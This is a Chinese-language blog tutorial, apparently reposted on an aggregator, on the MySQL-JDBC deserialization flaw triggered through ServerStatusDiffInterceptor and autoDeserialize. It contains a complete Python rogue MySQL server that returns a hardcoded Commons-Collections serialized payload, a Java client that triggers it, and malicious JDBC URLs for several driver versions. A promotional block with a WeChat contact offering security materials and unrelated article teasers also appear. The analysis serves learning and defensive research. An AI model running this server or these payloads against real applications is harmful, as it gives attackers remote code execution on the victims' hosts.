MySQL-JDBC反序列化分析

news2024/11/19 2:26:44

0x01 前言

听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了

0x02 JDBC 的基础

  • 本来不太想写这点基础的,但想了想觉得还是要补一点

JDBC 对数据库的操作一般有以下步骤

  • 导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。
  • 注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。
  • 建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。
  • 执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。
  • 清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。

例如创建一个数据库

// 步骤 1. 导入所需的软件包
import java.sql.*;

public class JDBCExample {
   // JDBC 驱动程序名称和数据库 URL
   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";  
   static final String DB_URL = "jdbc:mysql://localhost/";

   //  数据库凭证
   static final String USER = "username";
   static final String PASS = "password";
   
   public static void main(String[] args) {
   Connection conn = null;
   Statement stmt = null;
   try{
      // 步骤 2:注册 JDBC 驱动程序
      Class.forName("com.mysql.jdbc.Driver");

      // 步骤 3:建立连接
      System.out.println("Connecting to database...");
      conn = DriverManager.getConnection(DB_URL, USER, PASS);

      // 步骤 4:执行查询
      System.out.println("Creating database...");
      stmt = conn.createStatement();
      
      String sql = "CREATE DATABASE STUDENTS";
      stmt.executeUpdate(sql);
      System.out.println("Database created successfully...");
   }catch(SQLException se){
      // 处理 JDBC 错误
      se.printStackTrace();
   }catch(Exception e){
      // 处理 Class.forName 的错误
      e.printStackTrace();
   }finally{
      // 用于关闭资源
      try{
         if(stmt!=null)
            stmt.close();
      }catch(SQLException se2){
      
      }
      try{
         if(conn!=null)
            conn.close();
      }catch(SQLException se){
         se.printStackTrace();
      }
   }// 结束 try
   System.out.println("Goodbye!");
}// 结束 main
}// 结束 JDBCExample

这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用

正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了。

【----帮助网安学习,以下所有学习资料免费领!加v@~x:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

0x03 漏洞分析

漏洞原理

如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。

具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。

可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

链子

pom.xml

<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.2.1</version>  
</dependency>  
<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>

CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法

JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。

所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject()

根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析)

ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。

最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap

ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptorsServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。

看一下 populateMapWithSessionStatusValues 方法的代码

先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。

漏洞复现

  • 之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。

环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下

我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下

import java.sql.*;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        Class.forName("com.mysql.jdbc.Driver");  
        String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
                "&autoDeserialize=true" +  
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";  
        Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");  
    }  
}

通过 tcp.port == 3306 && mysql 来过滤协议

我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OKResponse Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。

首先是 greeting 数据包

这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包

Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下

继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS

响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来

如此,构造出最后的 fake MySQL 服务端

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

在本地运行,并运行 JDBC 的连接代码

再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰

调试分析

  • com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析

往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap()

ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。

在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据

从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞

不同 MySQL-JDBC-Driver 的 payload

8.x

如上述 Demo:

"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
        "&autoDeserialize=true" +  
    "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

6.x

属性名不同,queryInterceptors 换为 statementInterceptors

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上,但需要连接后执行查询。

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

0x04 小结

总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/191818.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LaTeX使用enumitem包切换enumerate标签样式

一、直接使用enumerate 源码&#xff1a; \documentclass{article} \begin{document} \section{LaTeX Style Sample} There is nothing to show, thank you for reading. \begin{enumerate}\item Apple is a kind of fruit.\item Cat is a kind of animal.\item Butterfly is …

git commit之后,回退撤销commit

在commit之后&#xff0c;发现有不需要提交的文件被提交上去了&#xff0c;好在还没有push到远端&#xff0c;需要撤回重新提交。如果是用的是Sourcetree的话,打开Sourcetree操作如下&#xff1a;找到提交之前的版本的记录右键这条提交记录&#xff0c;点击 将xxx重置到这次提交…

Ventoy安装deepin系统(windows和deepin双系统)

目录电脑安装虚拟机安装双系统安装&#xff08;windows和deepin&#xff09;美化deepin系统引导页其他链接电脑安装 我们先制作好Ventoy启动盘&#xff0c;然后插入电脑使用U盘启动 deepin系统镜像下载地址 windows系统镜像下载地址 windows激活软件 ,密码:ev5k windows镜像下载…

Maven实战-1.maven命令

前言 持续更新中… Maven命令 1.mvn help:system 打印出java所有的系统属性和环境变量。 2.mvn clean compile clean告诉Maven清理输出目录target/&#xff0c;compile告诉Maven编译项目的主代码&#xff08;src/main/java目录下&#xff09;。 不要问为什么只是编译了项…

Hive的Rank排名(rank函数,dense_rank函数,row_numer函数)

一、区别&#xff1a;三者通常都会配合窗口函数over()&#xff0c;并结合partition by order by xxx来分组排序&#xff0c;即形式使用&#xff1a;function_name over(partition by xxx order by xxx)。首先三者都是产生一个自增序列&#xff0c;不同的是row_number() 排序的字…

2023年SAT、ACT、AP、Alevel、IB考试时间表

2023年已经来临&#xff01;以下是2023年SAT、ACT、AP、A-Level、IB考试时间安排&#xff0c;早规划早备考&#xff0c;建议大家收藏&#xff01;2023 SAT从2023年开始&#xff0c;美国以外的所有SAT考试都将转为机考&#xff0c;美国SAT考试将在2024年全面转为机考。2023年一共…

前端Vue中实现超炫酷动态背景(全屏背景+自定义banner+登录/注册页)

一、文章引导 #mermaid-svg-9sKRaMRBkdCcbAh2 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-9sKRaMRBkdCcbAh2 .error-icon{fill:#552222;}#mermaid-svg-9sKRaMRBkdCcbAh2 .error-text{fill:#552222;stroke:#55222…

29相似矩阵和若尔当型

一、知识概要 本节从正定矩阵的回顾谈起&#xff0c;介绍了相似矩阵和若尔当型。但是没有进行深入介绍&#xff0c;主要目的是让我们对这些变换方式有所了解。 二、正定矩阵补充 在上一节学习的正定矩阵的基础上&#xff0c;我们给出以下问题&#xff1a; &#xff08;1&…

2023年2月北京/广州/西安/深圳DAMA-CDGA/CDGP数据治理认证招生简章

DAMA认证为数据管理专业人士提供职业目标晋升规划&#xff0c;彰显了职业发展里程碑及发展阶梯定义&#xff0c;帮助数据管理从业人士获得企业数字化转型战略下的必备职业能力&#xff0c;促进开展工作实践应用及实际问题解决&#xff0c;形成企业所需的新数字经济下的核心职业…

uniapp:常用跨端业务组件

插件内组件包含以下功能&#xff1a; 自定义状态栏组件(ZoNavBar)上拉加载状态组件(ZoLoading)弹窗组件(ZoPopup)搜索组件(ZoSearchBar)空数据组件(ZoEmpty)tab标签组件(ZoTabs)tab下拉筛选组件(ZoSelectTabs)底部导航组件(ZoTabBar)cell导航组件(ZoCell) 10.标题内容组件(ZoT…

复试--数据结构篇[1-4章]

目录第一章 绪论第二章 线性表1-线性表的顺序表示&#xff08;顺序表&#xff09;2-线性表的链式表示&#xff08;链表&#xff09;&#xff08;1&#xff09;单链表&#xff08;2&#xff09;循环链表&#xff08;3&#xff09;双向链表3-顺序表和链表的比较4-线性表的应用第三…

Hyper-V中的虚拟机双网卡配置

Hyper-V中的虚拟机双网卡配置 在虚拟机交换管中 存在三种虚拟交换机分别是外部、内部和专用 内部网络&#xff1a;虚拟机与虚拟机访问宿主机&#xff0c;虚拟机可以访问物理网络 外部网络&#xff1a;虚拟机与虚拟机之间&#xff0c;虚拟机与宿主机之间&#xff0c;虚拟机或宿…

大数据学习路线

学习建议 #1、Java 这个没毛病&#xff0c;看 Java 程序员进阶之路就好了&#xff0c;Spring Boot 也要能掌握 #2、MySQL 要能写复杂的 SQL 语句&#xff0c;为后面学习 Hive 数仓的 HQL 打好基础。 #3、Linux 大数据的相关软件都是在 Linux 上运行的&#xff0c;所以 Linux …

Django默认的Auth权限管理系统的使用

1.Django默认已经提供了认证系统Auth模块。认证系统包含&#xff1a; 用户管理权限用户组密码哈希系统用户登录或内容显示的表单和视图一个可插拔的后台系统 admin Django默认用户的认证机制依赖Session机制&#xff0c;我们在项目中将引入JWT认证机制&#xff0c;将用户的身…

无法启动此程序,因为dll丢失的解决方法分享

大家在使用电脑的时候&#xff0c;应该经常会遇到这种情况吧&#xff1f;在你打开某些程序的时候&#xff0c;突然弹出一个框框说无法启动此程序&#xff0c;因为dll丢失&#xff0c;那么遇到这种情况&#xff0c;我们需要怎么去解决呢&#xff1f;今天小编就详细的给大家讲解一…

对象的序列化和反序列化

读写JSON格式的数据 通过上面的讲解&#xff0c;我们已经知道如何将文本数据和二进制数据保存到文件中&#xff0c;那么这里还有一个问题&#xff0c;如果希望把一个列表或者一个字典中的数据保存到文件中又该怎么做呢&#xff1f;在Python中&#xff0c;我们可以将程序中的数…

方向梯度直方图(HOG)

摘要&#xff1a; 方向梯度直方图(HOG)特征是一种在计算机视觉和图像处理中用来进行物体检测的特征描述。HOG特征通过计算和统计图像局部区域的梯度方向直方图来构成特征。主要用于解决人体目标检测&#xff0c;主要通过梯度方向直方图特征来表达人体&#xff0c;提取人体的外…

OpenMMLab AI实战营Day1 计算机视觉算法基础与 OpenMMLab

目录 一、计算机视觉任务 二、计算机视觉的应用 三、计算机视觉的发展 四、OpenMMLab介绍 一、计算机视觉任务 计算机视觉三大基础任务&#xff1a;分类、检测、分割。 分割分为两种&#xff1a;语义分割&#xff08;Semantic Segmentation&#xff09;、实例分割&#xff08…

【Node.js实战】一文带你开发博客项目之Express重构(博客的增删查改、morgan写日志)

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;也会涉及到服务端 &#x1f4c3;个人状态&#xff1a; 在校大学生一枚&#xff0c;已拿多个前端 offer&#xff08;秋招&#xff09; &#x1f680;未…

Java之并发编程(二)

二、Java内存模型&#xff08;重要&#xff09; 1. CPU缓存模型 1.1 CPU缓存 CPU缓存是为了解决 CPU处理速度和内存处理速度不对等的问题。&#xff08;类比&#xff1a;缓存如Redis是为了解决程序处理速度和访问常规关系型数据库速度不对等的问题&#xff09; 内存缓存是为…